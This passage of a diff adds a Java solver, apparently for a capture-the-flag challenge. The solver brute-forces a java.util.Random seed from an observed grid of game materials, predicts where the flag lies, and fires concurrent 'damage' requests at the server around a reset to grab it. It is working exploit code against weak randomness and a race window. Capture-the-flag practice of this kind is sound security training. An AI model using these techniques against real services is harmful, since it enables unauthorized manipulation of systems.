System.out.println("Request: " + RESET_URL); + + // get state + + var stateReq = HttpRequest.newBuilder(new URI(STATE_URL)).GET().build(); + var state = new JSONObject(client.send(stateReq, HttpResponse.BodyHandlers.ofString()).body()); + + System.out.println("Request: " + STATE_URL); + + // handle state + + var materials = new int[32][32]; + for (var i = 0; i < 32; i++) { + for (var j = 0; j < 32; j++) { + switch (state.getJSONArray("materials").getJSONArray(i).getString(j)) { + case "FLAG": + materials[i][j] = 5; + break; + case "OBSIDIAN": + materials[i][j] = 4; + break; + case "DIAMOND": + materials[i][j] = 3; + break; + case "IRON": + materials[i][j] = 2; + break; + } + } + } + + // collide lower seed + + var rng = new Random(); + var lowerSeeds = new ArrayList(); + for (var lowerSeed = 0L; lowerSeed < 0x100000L; ++lowerSeed) { + if (testSeed(rng, lowerSeed, materials, 16, 16, 4) && testSeed(rng, lowerSeed, materials, 16, 32, 3)) { + lowerSeeds.add(lowerSeed); + } + } + + var step = 0; + var total = lowerSeeds.size() * 256 + 1; + System.out.println("Collision: step " + ++step + " of " + total); + + // collide the whole seed + + var seeds = new ArrayList(); + for (var lowerSeed : lowerSeeds) { + for (var mediumSeed = 0L; mediumSeed < 0x100L; ++mediumSeed) { + for (var upperSeed = 0L; upperSeed < 0x100000L; ++upperSeed) { + var seed = (upperSeed * 0x100L + mediumSeed) * 0x100000L + lowerSeed; + if (testSeed(rng, seed, materials, 48, 16, 4) && testSeed(rng, seed, materials, 48, 32, 3)) { + seeds.add(seed); + } + } + System.out.println("Collision: step " + ++step + " of " + total); + } + } + + System.out.println("Collided seeds: " + seeds); + + // damage possible flag locations + + var nextSeeds = new ArrayList(); + for (var seed : seeds) { + nextSeeds.add(seed * 8); + nextSeeds.add(seed * 8 + 1); + nextSeeds.add(seed * 8 + 2); + nextSeeds.add(seed * 8 + 3); + nextSeeds.add(seed * 8 + 4); + nextSeeds.add(seed * 8 + 5); + nextSeeds.add(seed * 8 + 6); + nextSeeds.add(seed * 8 + 7); + } + + var futures = new ArrayList>(); + for (var nextSeed : nextSeeds) { + var chunkX = -1; + var x = 0x1800000; + var y = 0x1800000; + while (x >= 0x1000000 || y >= 0x1000000) { + rng.setSeed(nextSeed ^ (5 + 0x6E5D5AF15FA1280BL * ++chunkX)); + rng.nextInt(); + rng.nextInt(); + x = Math.floorMod(rng.nextInt() + chunkX + 1, 0x1800000); + y = Math.floorMod(rng.nextInt() + 1, 0x1800000); + } + var damageUrlForSeed = MessageFormat.format(DAMAGE_URL, Integer.toString(x + 0x1000000 * chunkX), Integer.toString(y)); + var damageReq = HttpRequest.newBuilder(new URI(damageUrlForSeed)).POST(body).build(); + futures.add(client.sendAsync(damageReq, HttpResponse.BodyHandlers.ofString()).thenAccept(b -> { + var damaged = new JSONObject(b.body()); + if ("FLAG".equals(damaged.getString("dropped"))) { + System.out.println("Flag: " + damaged.getString("flag")); + } + })); + System.out.println("Request: " + damageUrlForSeed); + } + + // wait for 1 second and reset again + + Thread.sleep(1000); + + client.send(resetReq, HttpResponse.BodyHandlers.discarding()); + System.out.println("Request: " + RESET_URL); + futures.forEach(CompletableFuture::join); + } + + private static boolean testSeed(Random rng, long seed, int[][] materials, int modular, int count, int ordinal) { + var testMaterials = new boolean[modular][modular]; + rng.setSeed(seed ^ ordinal); + for (var j = 0; j < count; ++j) { + var randomX = Math.floorMod(rng.nextInt() * ((1 << j) - 1) + 1, modular); + var randomY = Math.floorMod(rng.nextInt() * ((1 << j) - 1) + 1, modular); + testMaterials[randomX][randomY] = true; + } + for (var i = 0; i < 32; ++i) { + for (var j = 0; j < 32; ++j) { + if (materials[i][j] == ordinal && !testMaterials[i % modular][j % modular]) { + return false; + } + } + } + return true; + } +}